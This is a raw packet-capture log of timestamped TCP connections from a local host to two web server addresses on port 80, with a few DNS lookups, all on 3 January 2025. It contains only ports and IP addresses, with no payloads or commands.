Jan 3, 2025 11:47:18.453830957 CET	80	49747	188.114.96.3	192.168.2.4
Jan 3, 2025 11:47:18.453883886 CET	49747	80	192.168.2.4	188.114.96.3
Jan 3, 2025 11:47:18.454731941 CET	80	49747	188.114.96.3	192.168.2.4
Jan 3, 2025 11:47:18.454741001 CET	80	49747	188.114.96.3	192.168.2.4
Jan 3, 2025 11:47:18.454756975 CET	80	49747	188.114.96.3	192.168.2.4
Jan 3, 2025 11:47:18.454763889 CET	80	49747	188.114.96.3	192.168.2.4
Jan 3, 2025 11:47:18.454777956 CET	49747	80	192.168.2.4	188.114.96.3
Jan 3, 2025 11:47:18.454792023 CET	49747	80	192.168.2.4	188.114.96.3
Jan 3, 2025 11:47:18.454807043 CET	80	49747	188.114.96.3	192.168.2.4
Jan 3, 2025 11:47:18.454817057 CET	80	49747	188.114.96.3	192.168.2.4
Jan 3, 2025 11:47:18.454818964 CET	49747	80	192.168.2.4	188.114.96.3
Jan 3, 2025 11:47:18.454859018 CET	49747	80	192.168.2.4	188.114.96.3
Jan 3, 2025 11:47:18.460342884 CET	80	49747	188.114.96.3	192.168.2.4
Jan 3, 2025 11:47:18.460383892 CET	80	49747	188.114.96.3	192.168.2.4
Jan 3, 2025 11:47:18.460402012 CET	49747	80	192.168.2.4	188.114.96.3
Jan 3, 2025 11:47:18.460422039 CET	49747	80	192.168.2.4	188.114.96.3
Jan 3, 2025 11:47:18.460491896 CET	80	49747	188.114.96.3	192.168.2.4
Jan 3, 2025 11:47:18.460500956 CET	80	49747	188.114.96.3	192.168.2.4
Jan 3, 2025 11:47:18.460509062 CET	80	49747	188.114.96.3	192.168.2.4
Jan 3, 2025 11:47:18.460516930 CET	80	49747	188.114.96.3	192.168.2.4
Jan 3, 2025 11:47:18.460525036 CET	80	49747	188.114.96.3	192.168.2.4
Jan 3, 2025 11:47:18.460532904 CET	80	49747	188.114.96.3	192.168.2.4
Jan 3, 2025 11:47:18.460536003 CET	80	49747	188.114.96.3	192.168.2.4
Jan 3, 2025 11:47:18.460545063 CET	49747	80	192.168.2.4	188.114.96.3
Jan 3, 2025 11:47:18.460547924 CET	80	49747	188.114.96.3	192.168.2.4
Jan 3, 2025 11:47:18.460556030 CET	80	49747	188.114.96.3	192.168.2.4
Jan 3, 2025 11:47:18.460561991 CET	49747	80	192.168.2.4	188.114.96.3
Jan 3, 2025 11:47:18.460566044 CET	80	49747	188.114.96.3	192.168.2.4
Jan 3, 2025 11:47:18.460575104 CET	80	49747	188.114.96.3	192.168.2.4
Jan 3, 2025 11:47:18.460608006 CET	49747	80	192.168.2.4	188.114.96.3
Jan 3, 2025 11:47:18.461457014 CET	80	49747	188.114.96.3	192.168.2.4
Jan 3, 2025 11:47:18.461464882 CET	80	49747	188.114.96.3	192.168.2.4
Jan 3, 2025 11:47:18.461519003 CET	80	49747	188.114.96.3	192.168.2.4
Jan 3, 2025 11:47:18.461527109 CET	80	49747	188.114.96.3	192.168.2.4
Jan 3, 2025 11:47:18.461627960 CET	80	49747	188.114.96.3	192.168.2.4
Jan 3, 2025 11:47:18.461635113 CET	80	49747	188.114.96.3	192.168.2.4
Jan 3, 2025 11:47:18.461673021 CET	80	49747	188.114.96.3	192.168.2.4
Jan 3, 2025 11:47:18.461679935 CET	80	49747	188.114.96.3	192.168.2.4
Jan 3, 2025 11:47:18.466892958 CET	80	49747	188.114.96.3	192.168.2.4
Jan 3, 2025 11:47:18.466902018 CET	80	49747	188.114.96.3	192.168.2.4
Jan 3, 2025 11:47:18.466953039 CET	80	49747	188.114.96.3	192.168.2.4
Jan 3, 2025 11:47:18.466960907 CET	80	49747	188.114.96.3	192.168.2.4
Jan 3, 2025 11:47:18.467027903 CET	80	49747	188.114.96.3	192.168.2.4
Jan 3, 2025 11:47:18.467036009 CET	80	49747	188.114.96.3	192.168.2.4
Jan 3, 2025 11:47:18.467083931 CET	80	49747	188.114.96.3	192.168.2.4
Jan 3, 2025 11:47:18.467092037 CET	80	49747	188.114.96.3	192.168.2.4
Jan 3, 2025 11:47:18.467154980 CET	80	49747	188.114.96.3	192.168.2.4
Jan 3, 2025 11:47:18.467163086 CET	80	49747	188.114.96.3	192.168.2.4
Jan 3, 2025 11:47:18.467192888 CET	80	49747	188.114.96.3	192.168.2.4
Jan 3, 2025 11:47:18.467201948 CET	80	49747	188.114.96.3	192.168.2.4
Jan 3, 2025 11:47:18.467210054 CET	80	49747	188.114.96.3	192.168.2.4
Jan 3, 2025 11:47:18.467272997 CET	80	49747	188.114.96.3	192.168.2.4
Jan 3, 2025 11:47:18.467305899 CET	80	49747	188.114.96.3	192.168.2.4
Jan 3, 2025 11:47:18.467350960 CET	80	49747	188.114.96.3	192.168.2.4
Jan 3, 2025 11:47:18.467422009 CET	80	49747	188.114.96.3	192.168.2.4
Jan 3, 2025 11:47:18.467430115 CET	80	49747	188.114.96.3	192.168.2.4
Jan 3, 2025 11:47:18.467470884 CET	80	49747	188.114.96.3	192.168.2.4
Jan 3, 2025 11:47:18.468240023 CET	80	49747	188.114.96.3	192.168.2.4
Jan 3, 2025 11:47:18.468249083 CET	80	49747	188.114.96.3	192.168.2.4
Jan 3, 2025 11:47:18.468297005 CET	80	49747	188.114.96.3	192.168.2.4
Jan 3, 2025 11:47:18.468307018 CET	80	49747	188.114.96.3	192.168.2.4
Jan 3, 2025 11:47:18.468314886 CET	80	49747	188.114.96.3	192.168.2.4
Jan 3, 2025 11:47:18.468348026 CET	80	49747	188.114.96.3	192.168.2.4
Jan 3, 2025 11:47:18.468357086 CET	80	49747	188.114.96.3	192.168.2.4
Jan 3, 2025 11:47:18.468390942 CET	80	49747	188.114.96.3	192.168.2.4
Jan 3, 2025 11:47:18.468400002 CET	80	49747	188.114.96.3	192.168.2.4
Jan 3, 2025 11:47:18.468441963 CET	80	49747	188.114.96.3	192.168.2.4
Jan 3, 2025 11:47:18.468509912 CET	80	49747	188.114.96.3	192.168.2.4
Jan 3, 2025 11:47:18.473807096 CET	80	49747	188.114.96.3	192.168.2.4
Jan 3, 2025 11:47:18.473817110 CET	80	49747	188.114.96.3	192.168.2.4
Jan 3, 2025 11:47:18.473916054 CET	80	49747	188.114.96.3	192.168.2.4
Jan 3, 2025 11:47:18.473928928 CET	80	49747	188.114.96.3	192.168.2.4
Jan 3, 2025 11:47:18.473937988 CET	80	49747	188.114.96.3	192.168.2.4
Jan 3, 2025 11:47:18.473947048 CET	80	49747	188.114.96.3	192.168.2.4
Jan 3, 2025 11:47:18.473964930 CET	80	49747	188.114.96.3	192.168.2.4
Jan 3, 2025 11:47:18.473974943 CET	80	49747	188.114.96.3	192.168.2.4
Jan 3, 2025 11:47:18.473992109 CET	80	49747	188.114.96.3	192.168.2.4
Jan 3, 2025 11:47:18.473999977 CET	80	49747	188.114.96.3	192.168.2.4
Jan 3, 2025 11:47:18.474040031 CET	80	49747	188.114.96.3	192.168.2.4
Jan 3, 2025 11:47:18.474050045 CET	80	49747	188.114.96.3	192.168.2.4
Jan 3, 2025 11:47:18.474070072 CET	80	49747	188.114.96.3	192.168.2.4
Jan 3, 2025 11:47:18.474838018 CET	80	49747	188.114.96.3	192.168.2.4
Jan 3, 2025 11:47:18.474852085 CET	80	49747	188.114.96.3	192.168.2.4
Jan 3, 2025 11:47:18.474894047 CET	80	49747	188.114.96.3	192.168.2.4
Jan 3, 2025 11:47:18.474903107 CET	80	49747	188.114.96.3	192.168.2.4
Jan 3, 2025 11:47:18.474919081 CET	80	49747	188.114.96.3	192.168.2.4
Jan 3, 2025 11:47:18.474929094 CET	80	49747	188.114.96.3	192.168.2.4
Jan 3, 2025 11:47:18.475003004 CET	80	49747	188.114.96.3	192.168.2.4
Jan 3, 2025 11:47:18.475013018 CET	80	49747	188.114.96.3	192.168.2.4
Jan 3, 2025 11:47:18.475022078 CET	80	49747	188.114.96.3	192.168.2.4
Jan 3, 2025 11:47:18.488589048 CET	80	49747	188.114.96.3	192.168.2.4
Jan 3, 2025 11:47:18.498951912 CET	80	49748	188.114.96.3	192.168.2.4
Jan 3, 2025 11:47:18.596303940 CET	49748	80	192.168.2.4	188.114.96.3
Jan 3, 2025 11:47:18.643177032 CET	49747	80	192.168.2.4	188.114.96.3
Jan 3, 2025 11:47:18.760870934 CET	80	49748	188.114.96.3	192.168.2.4
Jan 3, 2025 11:47:18.908986092 CET	49748	80	192.168.2.4	188.114.96.3
Jan 3, 2025 11:47:19.539752007 CET	80	49747	188.114.96.3	192.168.2.4
Jan 3, 2025 11:47:19.540103912 CET	49747	80	192.168.2.4	188.114.96.3
Jan 3, 2025 11:47:19.595767021 CET	80	49747	188.114.96.3	192.168.2.4
Jan 3, 2025 11:47:19.644047976 CET	80	49747	188.114.96.3	192.168.2.4
Jan 3, 2025 11:47:19.697793007 CET	49747	80	192.168.2.4	188.114.96.3
Jan 3, 2025 11:47:19.811675072 CET	49747	80	192.168.2.4	188.114.96.3
Jan 3, 2025 11:47:19.822916985 CET	80	49747	188.114.96.3	192.168.2.4
Jan 3, 2025 11:47:20.072840929 CET	80	49747	188.114.96.3	192.168.2.4
Jan 3, 2025 11:47:20.210114956 CET	49747	80	192.168.2.4	188.114.96.3
Jan 3, 2025 11:47:20.336781979 CET	49747	80	192.168.2.4	188.114.96.3
Jan 3, 2025 11:47:20.336853981 CET	49748	80	192.168.2.4	188.114.96.3
Jan 3, 2025 11:47:20.337519884 CET	49751	80	192.168.2.4	188.114.96.3
Jan 3, 2025 11:47:20.348880053 CET	80	49747	188.114.96.3	192.168.2.4
Jan 3, 2025 11:47:20.348948002 CET	49747	80	192.168.2.4	188.114.96.3
Jan 3, 2025 11:47:20.349458933 CET	80	49751	188.114.96.3	192.168.2.4
Jan 3, 2025 11:47:20.349517107 CET	49751	80	192.168.2.4	188.114.96.3
Jan 3, 2025 11:47:20.349606037 CET	80	49748	188.114.96.3	192.168.2.4
Jan 3, 2025 11:47:20.349745989 CET	49748	80	192.168.2.4	188.114.96.3
Jan 3, 2025 11:47:20.390685081 CET	49751	80	192.168.2.4	188.114.96.3
Jan 3, 2025 11:47:20.402107000 CET	80	49751	188.114.96.3	192.168.2.4
Jan 3, 2025 11:47:20.738571882 CET	49751	80	192.168.2.4	188.114.96.3
Jan 3, 2025 11:47:20.750549078 CET	80	49751	188.114.96.3	192.168.2.4
Jan 3, 2025 11:47:20.819181919 CET	80	49751	188.114.96.3	192.168.2.4
Jan 3, 2025 11:47:20.908809900 CET	49751	80	192.168.2.4	188.114.96.3
Jan 3, 2025 11:47:21.091428995 CET	80	49751	188.114.96.3	192.168.2.4
Jan 3, 2025 11:47:21.205673933 CET	49751	80	192.168.2.4	188.114.96.3
Jan 3, 2025 11:47:21.223661900 CET	49751	80	192.168.2.4	188.114.96.3
Jan 3, 2025 11:47:21.224690914 CET	49752	80	192.168.2.4	188.114.96.3
Jan 3, 2025 11:47:21.235641956 CET	80	49751	188.114.96.3	192.168.2.4
Jan 3, 2025 11:47:21.235692978 CET	49751	80	192.168.2.4	188.114.96.3
Jan 3, 2025 11:47:21.236387014 CET	80	49752	188.114.96.3	192.168.2.4
Jan 3, 2025 11:47:21.236452103 CET	49752	80	192.168.2.4	188.114.96.3
Jan 3, 2025 11:47:21.236582994 CET	49752	80	192.168.2.4	188.114.96.3
Jan 3, 2025 11:47:21.247920036 CET	80	49752	188.114.96.3	192.168.2.4
Jan 3, 2025 11:47:21.583230972 CET	49752	80	192.168.2.4	188.114.96.3
Jan 3, 2025 11:47:21.595099926 CET	80	49752	188.114.96.3	192.168.2.4
Jan 3, 2025 11:47:21.702161074 CET	80	49752	188.114.96.3	192.168.2.4
Jan 3, 2025 11:47:21.752563000 CET	49752	80	192.168.2.4	188.114.96.3
Jan 3, 2025 11:47:21.961004019 CET	80	49752	188.114.96.3	192.168.2.4
Jan 3, 2025 11:47:22.049462080 CET	49752	80	192.168.2.4	188.114.96.3
Jan 3, 2025 11:47:22.080281973 CET	49752	80	192.168.2.4	188.114.96.3
Jan 3, 2025 11:47:22.081351995 CET	49753	80	192.168.2.4	188.114.96.3
Jan 3, 2025 11:47:22.092734098 CET	80	49752	188.114.96.3	192.168.2.4
Jan 3, 2025 11:47:22.092796087 CET	49752	80	192.168.2.4	188.114.96.3
Jan 3, 2025 11:47:22.093466043 CET	80	49753	188.114.96.3	192.168.2.4
Jan 3, 2025 11:47:22.093543053 CET	49753	80	192.168.2.4	188.114.96.3
Jan 3, 2025 11:47:22.093652010 CET	49753	80	192.168.2.4	188.114.96.3
Jan 3, 2025 11:47:22.105856895 CET	80	49753	188.114.96.3	192.168.2.4
Jan 3, 2025 11:47:22.450261116 CET	49753	80	192.168.2.4	188.114.96.3
Jan 3, 2025 11:47:22.462464094 CET	80	49753	188.114.96.3	192.168.2.4
Jan 3, 2025 11:47:22.554935932 CET	80	49753	188.114.96.3	192.168.2.4
Jan 3, 2025 11:47:22.599148989 CET	49753	80	192.168.2.4	188.114.96.3
Jan 3, 2025 11:47:22.808815002 CET	80	49753	188.114.96.3	192.168.2.4
Jan 3, 2025 11:47:22.909106016 CET	49753	80	192.168.2.4	188.114.96.3
Jan 3, 2025 11:47:23.087950945 CET	49753	80	192.168.2.4	188.114.96.3
Jan 3, 2025 11:47:23.094502926 CET	49754	80	192.168.2.4	188.114.96.3
Jan 3, 2025 11:47:23.100651026 CET	80	49753	188.114.96.3	192.168.2.4
Jan 3, 2025 11:47:23.100732088 CET	49753	80	192.168.2.4	188.114.96.3
Jan 3, 2025 11:47:23.106726885 CET	80	49754	188.114.96.3	192.168.2.4
Jan 3, 2025 11:47:23.106801033 CET	49754	80	192.168.2.4	188.114.96.3
Jan 3, 2025 11:47:23.112966061 CET	49754	80	192.168.2.4	188.114.96.3
Jan 3, 2025 11:47:23.124475956 CET	80	49754	188.114.96.3	192.168.2.4
Jan 3, 2025 11:47:23.471436977 CET	49754	80	192.168.2.4	188.114.96.3
Jan 3, 2025 11:47:23.483437061 CET	80	49754	188.114.96.3	192.168.2.4
Jan 3, 2025 11:47:23.557571888 CET	80	49754	188.114.96.3	192.168.2.4
Jan 3, 2025 11:47:23.705868959 CET	49754	80	192.168.2.4	188.114.96.3
Jan 3, 2025 11:47:23.781155109 CET	49755	80	192.168.2.4	188.114.96.3
Jan 3, 2025 11:47:23.781860113 CET	49754	80	192.168.2.4	188.114.96.3
Jan 3, 2025 11:47:23.793560982 CET	80	49755	188.114.96.3	192.168.2.4
Jan 3, 2025 11:47:23.793637037 CET	49755	80	192.168.2.4	188.114.96.3
Jan 3, 2025 11:47:23.793812037 CET	49755	80	192.168.2.4	188.114.96.3
Jan 3, 2025 11:47:23.799720049 CET	80	49754	188.114.96.3	192.168.2.4
Jan 3, 2025 11:47:23.799762011 CET	49754	80	192.168.2.4	188.114.96.3
Jan 3, 2025 11:47:23.807864904 CET	80	49755	188.114.96.3	192.168.2.4
Jan 3, 2025 11:47:23.911892891 CET	49756	80	192.168.2.4	188.114.96.3
Jan 3, 2025 11:47:23.923458099 CET	80	49756	188.114.96.3	192.168.2.4
Jan 3, 2025 11:47:23.923521996 CET	49756	80	192.168.2.4	188.114.96.3
Jan 3, 2025 11:47:23.923616886 CET	49756	80	192.168.2.4	188.114.96.3
Jan 3, 2025 11:47:23.935220003 CET	80	49756	188.114.96.3	192.168.2.4
Jan 3, 2025 11:47:24.143578053 CET	49755	80	192.168.2.4	188.114.96.3
Jan 3, 2025 11:47:24.155684948 CET	80	49755	188.114.96.3	192.168.2.4
Jan 3, 2025 11:47:24.162777901 CET	80	49755	188.114.96.3	192.168.2.4
Jan 3, 2025 11:47:24.246263981 CET	80	49755	188.114.96.3	192.168.2.4
Jan 3, 2025 11:47:24.268373966 CET	49756	80	192.168.2.4	188.114.96.3
Jan 3, 2025 11:47:24.280781984 CET	80	49756	188.114.96.3	192.168.2.4
Jan 3, 2025 11:47:24.383470058 CET	80	49756	188.114.96.3	192.168.2.4
Jan 3, 2025 11:47:24.389455080 CET	49755	80	192.168.2.4	188.114.96.3
Jan 3, 2025 11:47:24.500274897 CET	80	49755	188.114.96.3	192.168.2.4
Jan 3, 2025 11:47:24.549451113 CET	49755	80	192.168.2.4	188.114.96.3
Jan 3, 2025 11:47:24.596327066 CET	49756	80	192.168.2.4	188.114.96.3
Jan 3, 2025 11:47:24.633975983 CET	80	49756	188.114.96.3	192.168.2.4
Jan 3, 2025 11:47:24.705703020 CET	49756	80	192.168.2.4	188.114.96.3
Jan 3, 2025 11:47:24.749183893 CET	49755	80	192.168.2.4	188.114.96.3
Jan 3, 2025 11:47:24.749366999 CET	49756	80	192.168.2.4	188.114.96.3
Jan 3, 2025 11:47:24.749948025 CET	49757	80	192.168.2.4	188.114.96.3
Jan 3, 2025 11:47:24.761744976 CET	80	49755	188.114.96.3	192.168.2.4
Jan 3, 2025 11:47:24.761806965 CET	49755	80	192.168.2.4	188.114.96.3
Jan 3, 2025 11:47:24.762162924 CET	80	49757	188.114.96.3	192.168.2.4
Jan 3, 2025 11:47:24.762228012 CET	49757	80	192.168.2.4	188.114.96.3
Jan 3, 2025 11:47:24.762320995 CET	80	49756	188.114.96.3	192.168.2.4
Jan 3, 2025 11:47:24.762340069 CET	49757	80	192.168.2.4	188.114.96.3
Jan 3, 2025 11:47:24.762362003 CET	49756	80	192.168.2.4	188.114.96.3
Jan 3, 2025 11:47:24.774651051 CET	80	49757	188.114.96.3	192.168.2.4
Jan 3, 2025 11:47:25.112963915 CET	49757	80	192.168.2.4	188.114.96.3
Jan 3, 2025 11:47:25.125103951 CET	80	49757	188.114.96.3	192.168.2.4
Jan 3, 2025 11:47:25.214678049 CET	80	49757	188.114.96.3	192.168.2.4
Jan 3, 2025 11:47:25.440191984 CET	49757	80	192.168.2.4	188.114.96.3
Jan 3, 2025 11:47:25.443456888 CET	80	49757	188.114.96.3	192.168.2.4
Jan 3, 2025 11:47:25.443604946 CET	49757	80	192.168.2.4	188.114.96.3
Jan 3, 2025 11:47:25.473721981 CET	80	49757	188.114.96.3	192.168.2.4
Jan 3, 2025 11:47:25.549468994 CET	49757	80	192.168.2.4	188.114.96.3
Jan 3, 2025 11:47:25.916014910 CET	49758	80	192.168.2.4	188.114.96.3
Jan 3, 2025 11:47:25.928312063 CET	80	49758	188.114.96.3	192.168.2.4
Jan 3, 2025 11:47:25.928373098 CET	49758	80	192.168.2.4	188.114.96.3
Jan 3, 2025 11:47:25.928512096 CET	49758	80	192.168.2.4	188.114.96.3
Jan 3, 2025 11:47:25.940968037 CET	80	49758	188.114.96.3	192.168.2.4
Jan 3, 2025 11:47:26.283967972 CET	49758	80	192.168.2.4	188.114.96.3
Jan 3, 2025 11:47:26.295692921 CET	80	49758	188.114.96.3	192.168.2.4
Jan 3, 2025 11:47:26.378932953 CET	80	49758	188.114.96.3	192.168.2.4
Jan 3, 2025 11:47:26.502422094 CET	49758	80	192.168.2.4	188.114.96.3
Jan 3, 2025 11:47:26.642334938 CET	80	49758	188.114.96.3	192.168.2.4
Jan 3, 2025 11:47:26.736962080 CET	49758	80	192.168.2.4	188.114.96.3
Jan 3, 2025 11:47:26.764894962 CET	49758	80	192.168.2.4	188.114.96.3
Jan 3, 2025 11:47:26.765790939 CET	49759	80	192.168.2.4	188.114.96.3
Jan 3, 2025 11:47:26.777610064 CET	80	49758	188.114.96.3	192.168.2.4
Jan 3, 2025 11:47:26.777740955 CET	49758	80	192.168.2.4	188.114.96.3
Jan 3, 2025 11:47:26.778368950 CET	80	49759	188.114.96.3	192.168.2.4
Jan 3, 2025 11:47:26.778440952 CET	49759	80	192.168.2.4	188.114.96.3
Jan 3, 2025 11:47:26.778551102 CET	49759	80	192.168.2.4	188.114.96.3
Jan 3, 2025 11:47:26.790077925 CET	80	49759	188.114.96.3	192.168.2.4
Jan 3, 2025 11:47:27.130559921 CET	49759	80	192.168.2.4	188.114.96.3
Jan 3, 2025 11:47:27.141774893 CET	80	49759	188.114.96.3	192.168.2.4
Jan 3, 2025 11:47:27.237579107 CET	80	49759	188.114.96.3	192.168.2.4
Jan 3, 2025 11:47:27.408891916 CET	80	49759	188.114.96.3	192.168.2.4
Jan 3, 2025 11:47:27.408988953 CET	49759	80	192.168.2.4	188.114.96.3
Jan 3, 2025 11:47:27.532017946 CET	49759	80	192.168.2.4	188.114.96.3
Jan 3, 2025 11:47:27.532804966 CET	49760	80	192.168.2.4	188.114.96.3
Jan 3, 2025 11:47:27.544661045 CET	80	49759	188.114.96.3	192.168.2.4
Jan 3, 2025 11:47:27.544770002 CET	49759	80	192.168.2.4	188.114.96.3
Jan 3, 2025 11:47:27.545244932 CET	80	49760	188.114.96.3	192.168.2.4
Jan 3, 2025 11:47:27.545322895 CET	49760	80	192.168.2.4	188.114.96.3
Jan 3, 2025 11:47:27.545447111 CET	49760	80	192.168.2.4	188.114.96.3
Jan 3, 2025 11:47:27.557549000 CET	80	49760	188.114.96.3	192.168.2.4
Jan 3, 2025 11:47:27.896426916 CET	49760	80	192.168.2.4	188.114.96.3
Jan 3, 2025 11:47:27.908878088 CET	80	49760	188.114.96.3	192.168.2.4
Jan 3, 2025 11:47:28.014749050 CET	80	49760	188.114.96.3	192.168.2.4
Jan 3, 2025 11:47:28.065094948 CET	49760	80	192.168.2.4	188.114.96.3
Jan 3, 2025 11:47:28.294950008 CET	80	49760	188.114.96.3	192.168.2.4
Jan 3, 2025 11:47:28.346406937 CET	49760	80	192.168.2.4	188.114.96.3
Jan 3, 2025 11:47:29.585625887 CET	49760	80	192.168.2.4	188.114.96.3
Jan 3, 2025 11:47:29.585946083 CET	49761	80	192.168.2.4	188.114.96.3
Jan 3, 2025 11:47:29.597174883 CET	49762	80	192.168.2.4	188.114.96.3
Jan 3, 2025 11:47:29.597570896 CET	80	49761	188.114.96.3	192.168.2.4
Jan 3, 2025 11:47:29.597647905 CET	49761	80	192.168.2.4	188.114.96.3
Jan 3, 2025 11:47:29.597709894 CET	80	49760	188.114.96.3	192.168.2.4
Jan 3, 2025 11:47:29.597754955 CET	49760	80	192.168.2.4	188.114.96.3
Jan 3, 2025 11:47:29.598957062 CET	49761	80	192.168.2.4	188.114.96.3
Jan 3, 2025 11:47:29.608882904 CET	80	49762	188.114.96.3	192.168.2.4
Jan 3, 2025 11:47:29.609055042 CET	49762	80	192.168.2.4	188.114.96.3
Jan 3, 2025 11:47:29.609191895 CET	49762	80	192.168.2.4	188.114.96.3
Jan 3, 2025 11:47:29.621517897 CET	80	49762	188.114.96.3	192.168.2.4
Jan 3, 2025 11:47:29.956064939 CET	49762	80	192.168.2.4	188.114.96.3
Jan 3, 2025 11:47:29.968246937 CET	80	49762	188.114.96.3	192.168.2.4
Jan 3, 2025 11:47:30.084328890 CET	80	49762	188.114.96.3	192.168.2.4
Jan 3, 2025 11:47:30.127580881 CET	49762	80	192.168.2.4	188.114.96.3
Jan 3, 2025 11:47:30.252257109 CET	80	49762	188.114.96.3	192.168.2.4
Jan 3, 2025 11:47:30.299500942 CET	49762	80	192.168.2.4	188.114.96.3
Jan 3, 2025 11:47:30.379429102 CET	49762	80	192.168.2.4	188.114.96.3
Jan 3, 2025 11:47:30.380074024 CET	49763	80	192.168.2.4	188.114.96.3
Jan 3, 2025 11:47:30.391170979 CET	80	49762	188.114.96.3	192.168.2.4
Jan 3, 2025 11:47:30.391258955 CET	49762	80	192.168.2.4	188.114.96.3
Jan 3, 2025 11:47:30.391561985 CET	80	49763	188.114.96.3	192.168.2.4
Jan 3, 2025 11:47:30.391624928 CET	49763	80	192.168.2.4	188.114.96.3
Jan 3, 2025 11:47:30.391766071 CET	49763	80	192.168.2.4	188.114.96.3
Jan 3, 2025 11:47:30.404584885 CET	80	49763	188.114.96.3	192.168.2.4
Jan 3, 2025 11:47:30.737215996 CET	49763	80	192.168.2.4	188.114.96.3
Jan 3, 2025 11:47:30.747370005 CET	80	49763	188.114.96.3	192.168.2.4
Jan 3, 2025 11:47:30.867296934 CET	80	49763	188.114.96.3	192.168.2.4
Jan 3, 2025 11:47:30.869523048 CET	51592	53	192.168.2.4	162.159.36.2
Jan 3, 2025 11:47:30.879816055 CET	53	51592	162.159.36.2	192.168.2.4
Jan 3, 2025 11:47:30.880250931 CET	51592	53	192.168.2.4	162.159.36.2
Jan 3, 2025 11:47:30.889942884 CET	53	51592	162.159.36.2	192.168.2.4
Jan 3, 2025 11:47:30.909050941 CET	49763	80	192.168.2.4	188.114.96.3
Jan 3, 2025 11:47:31.043410063 CET	80	49763	188.114.96.3	192.168.2.4
Jan 3, 2025 11:47:31.096342087 CET	49763	80	192.168.2.4	188.114.96.3
Jan 3, 2025 11:47:31.393218994 CET	51592	53	192.168.2.4	162.159.36.2
Jan 3, 2025 11:47:31.399008989 CET	51592	53	192.168.2.4	162.159.36.2
Jan 3, 2025 11:47:31.408411980 CET	53	51592	162.159.36.2	192.168.2.4
Jan 3, 2025 11:47:31.408544064 CET	51592	53	192.168.2.4	162.159.36.2
Jan 3, 2025 11:47:31.484642029 CET	49763	80	192.168.2.4	188.114.96.3
Jan 3, 2025 11:47:31.485785961 CET	51593	80	192.168.2.4	188.114.96.3
Jan 3, 2025 11:47:31.494802952 CET	80	51593	188.114.96.3	192.168.2.4
Jan 3, 2025 11:47:31.494952917 CET	51593	80	192.168.2.4	188.114.96.3
Jan 3, 2025 11:47:31.495009899 CET	80	49763	188.114.96.3	192.168.2.4
Jan 3, 2025 11:47:31.495254040 CET	49763	80	192.168.2.4	188.114.96.3
Jan 3, 2025 11:47:31.495557070 CET	51593	80	192.168.2.4	188.114.96.3
Jan 3, 2025 11:47:31.504793882 CET	80	51593	188.114.96.3	192.168.2.4
Jan 3, 2025 11:47:31.846594095 CET	51593	80	192.168.2.4	188.114.96.3
Jan 3, 2025 11:47:31.854572058 CET	80	51593	188.114.96.3	192.168.2.4
Jan 3, 2025 11:47:31.942673922 CET	80	51593	188.114.96.3	192.168.2.4
Jan 3, 2025 11:47:31.987006903 CET	51593	80	192.168.2.4	188.114.96.3
Jan 3, 2025 11:47:32.117096901 CET	80	51593	188.114.96.3	192.168.2.4
Jan 3, 2025 11:47:32.158847094 CET	51593	80	192.168.2.4	188.114.96.3
Jan 3, 2025 11:47:32.237596035 CET	51595	80	192.168.2.4	188.114.96.3
Jan 3, 2025 11:47:32.242435932 CET	80	51595	188.114.96.3	192.168.2.4
Jan 3, 2025 11:47:32.242506981 CET	51595	80	192.168.2.4	188.114.96.3
Jan 3, 2025 11:47:32.242736101 CET	51595	80	192.168.2.4	188.114.96.3
Jan 3, 2025 11:47:32.247534990 CET	80	51595	188.114.96.3	192.168.2.4
Jan 3, 2025 11:47:32.596441984 CET	51595	80	192.168.2.4	188.114.96.3
Jan 3, 2025 11:47:32.601257086 CET	80	51595	188.114.96.3	192.168.2.4
Jan 3, 2025 11:47:32.694070101 CET	80	51595	188.114.96.3	192.168.2.4
Jan 3, 2025 11:47:32.736974955 CET	51595	80	192.168.2.4	188.114.96.3
Jan 3, 2025 11:47:32.943409920 CET	80	51595	188.114.96.3	192.168.2.4
Jan 3, 2025 11:47:32.986962080 CET	51595	80	192.168.2.4	188.114.96.3
Jan 3, 2025 11:47:33.062036037 CET	51595	80	192.168.2.4	188.114.96.3
Jan 3, 2025 11:47:33.062643051 CET	51597	80	192.168.2.4	188.114.96.3
Jan 3, 2025 11:47:33.067331076 CET	80	51595	188.114.96.3	192.168.2.4
Jan 3, 2025 11:47:33.067413092 CET	51595	80	192.168.2.4	188.114.96.3
Jan 3, 2025 11:47:33.067472935 CET	80	51597	188.114.96.3	192.168.2.4
Jan 3, 2025 11:47:33.067682981 CET	51597	80	192.168.2.4	188.114.96.3
Jan 3, 2025 11:47:33.067933083 CET	51597	80	192.168.2.4	188.114.96.3
Jan 3, 2025 11:47:33.072761059 CET	80	51597	188.114.96.3	192.168.2.4
Jan 3, 2025 11:47:33.424727917 CET	51597	80	192.168.2.4	188.114.96.3
Jan 3, 2025 11:47:33.429584026 CET	80	51597	188.114.96.3	192.168.2.4
Jan 3, 2025 11:47:33.541796923 CET	80	51597	188.114.96.3	192.168.2.4
Jan 3, 2025 11:47:33.596389055 CET	51597	80	192.168.2.4	188.114.96.3
Jan 3, 2025 11:47:33.790162086 CET	80	51597	188.114.96.3	192.168.2.4
Jan 3, 2025 11:47:33.834022999 CET	51597	80	192.168.2.4	188.114.96.3
Jan 3, 2025 11:47:33.909327984 CET	51597	80	192.168.2.4	188.114.96.3
Jan 3, 2025 11:47:33.914618969 CET	80	51597	188.114.96.3	192.168.2.4
Jan 3, 2025 11:47:33.914781094 CET	51597	80	192.168.2.4	188.114.96.3
Jan 3, 2025 11:47:34.119955063 CET	51598	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:47:34.126597881 CET	80	51598	188.114.97.3	192.168.2.4
Jan 3, 2025 11:47:34.130121946 CET	51598	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:47:34.133668900 CET	51598	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:47:34.138585091 CET	80	51598	188.114.97.3	192.168.2.4
Jan 3, 2025 11:47:34.520889044 CET	51598	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:47:34.525785923 CET	80	51598	188.114.97.3	192.168.2.4
Jan 3, 2025 11:47:34.575253963 CET	80	51598	188.114.97.3	192.168.2.4
Jan 3, 2025 11:47:34.613264084 CET	51598	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:47:34.614089966 CET	51600	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:47:34.618309021 CET	80	51598	188.114.97.3	192.168.2.4
Jan 3, 2025 11:47:34.618360996 CET	51598	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:47:34.618875027 CET	80	51600	188.114.97.3	192.168.2.4
